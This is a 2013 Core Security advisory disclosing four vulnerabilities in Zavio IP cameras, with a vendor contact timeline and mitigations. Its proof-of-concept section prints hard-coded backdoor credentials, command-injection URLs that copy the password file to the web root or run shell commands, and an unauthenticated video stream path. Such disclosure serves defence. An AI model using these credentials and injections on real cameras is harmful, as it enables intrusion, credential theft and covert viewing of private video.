Zavio IP Cameras multiple vulnerabilities

Advisory ID Internal
CORE-2013-0302

1. Advisory Information

Title: Zavio IP Cameras multiple vulnerabilities
Advisory ID: CORE-2013-0302
Advisory URL: http://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities
Date published: 2013-05-28
Date of last update: 2013-05-28
Vendors contacted: Zavio
Release mode: User release

2. Vulnerability Information

Class: Use of hard-coded credentials [CWE-798], OS command injection [CWE-78], Incorrect default permissions [CWE-276], OS command injection [CWE-78]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570

3. Vulnerability Description

Multiple vulnerabilities have been found in Zavio IP cameras based on firmware v1.6.03 and below, that could allow an unauthenticated remote attacker:

  1. [CVE-2013-2567] to bypass user web interface authentication using hard-coded credentials.
  2. [CVE-2013-2568] to execute arbitrary commands from the administration web interface. This flaw can also be used to obtain all credentials of registered users.
  3. [CVE-2013-2569] to access the camera video stream.
  4. [CVE-2013-2570] to execute arbitrary commands from the administration web interface (post authentication only).

4. Vulnerable Packages

  • Zavio IP cameras based on firmware v1.6.03 and below.
  • All tests and PoCs were run on Zavio F3105 [1] and F312A [2] IP cameras only. Other Zavio cameras and firmware versions are probably affected too, but they were not checked.

5. Non-Vulnerable Packages

  • Vendor did not provide details. Contact Zavio for further information.

6. Vendor Information, Solutions and Workarounds

There was no official answer from Zavio after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information.

Some mitigation actions may be:

  • Do not expose the camera to Internet unless absolutely necessary.
  • Enable RTSP authentication.
  • Have at least one proxy filtering HTTP requests to manufacture.cgi and wireless_mft.cgi.
  • Check the parameter General.Time.NTP.Server in requests to /opt/cgi/view/param.

7. Credits

These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

8. Technical Description / Proof of Concept Code

8.1. Hard-Coded Credentials in Administrative Web Interface

[CVE-2013-2567] Zavio IP cameras use the Boa web server, a popular tiny server for embedded Linux devices. boa.conf is the Boa configuration file, and the following account can be found inside:

# MFT: Specify manufacture commands user name and password MFT manufacture erutcafunam

This account is not visible from the user web interface; users are not aware of the existence and cannot eliminate it. Through this account it is possible to access two CGI files located in /cgi-bin/mft/:

  1. manufacture.cgi
  2. wireless_mft.cgi

The last file contains the OS command injection showed in the following section.

8.2. OS Command Injection

[CVE-2013-2568] The file /cgi-bin/mft/wireless_mft.cgi, has an OS command injection in the parameter ap that can be exploited using the hard-coded credentials showed in the previous section:

username: manufacture password: erutcafunam

The following proof of concept copies the file where the user credentials are stored in the web server root directory:

http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales

Afterwards, the user credentials can be obtained by requesting:

http://192.168.1.100/credenciales

8.3. RTSP Authentication Disabled by Default

[CVE-2013-2569] The RTSP protocol authentication is disabled by default. Therefore, the live video stream can be accessed by a remote unauthenticated attacker by requesting:

rtsp://192.168.1.100/video.h264

8.4. OS Command Injection (Post-auth)

[CVE-2013-2570] The command injection is located in the function sub_C8C8 of the binary /opt/cgi/view/param. The vulnerable parameter is General.Time.NTP.Server. The following proof of concept can be used to obtain the complete list of access points by executing /sbin/awpriv ra0 get_site_survey:

http://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off

9. Report Timeline

  • 2013-03-19: Core Security Technologies notifies the Zavio Tech Support and requests a security manager to send a draft report regarding these vulnerabilities. No reply received.
  • 2013-05-02: Core asks Zavio Tech Support for a security manager to send a confidential report.
  • 2013-05-09: Core asks for a reply.
  • 2013-05-14: Core asks for a reply.
  • 2013-05-21: Core tries to contact vendor for last time without any reply.
  • 2013-05-28: After 5 failed attempts to report the issues, the advisory CORE-2013-0302 is published as 'user-release'.

10. References

[1] F3105 Wireless Compact IP Camera.
[2] F312A Wireless Compact IP Camera.

11. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use.

12. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. 

13. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

14. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team.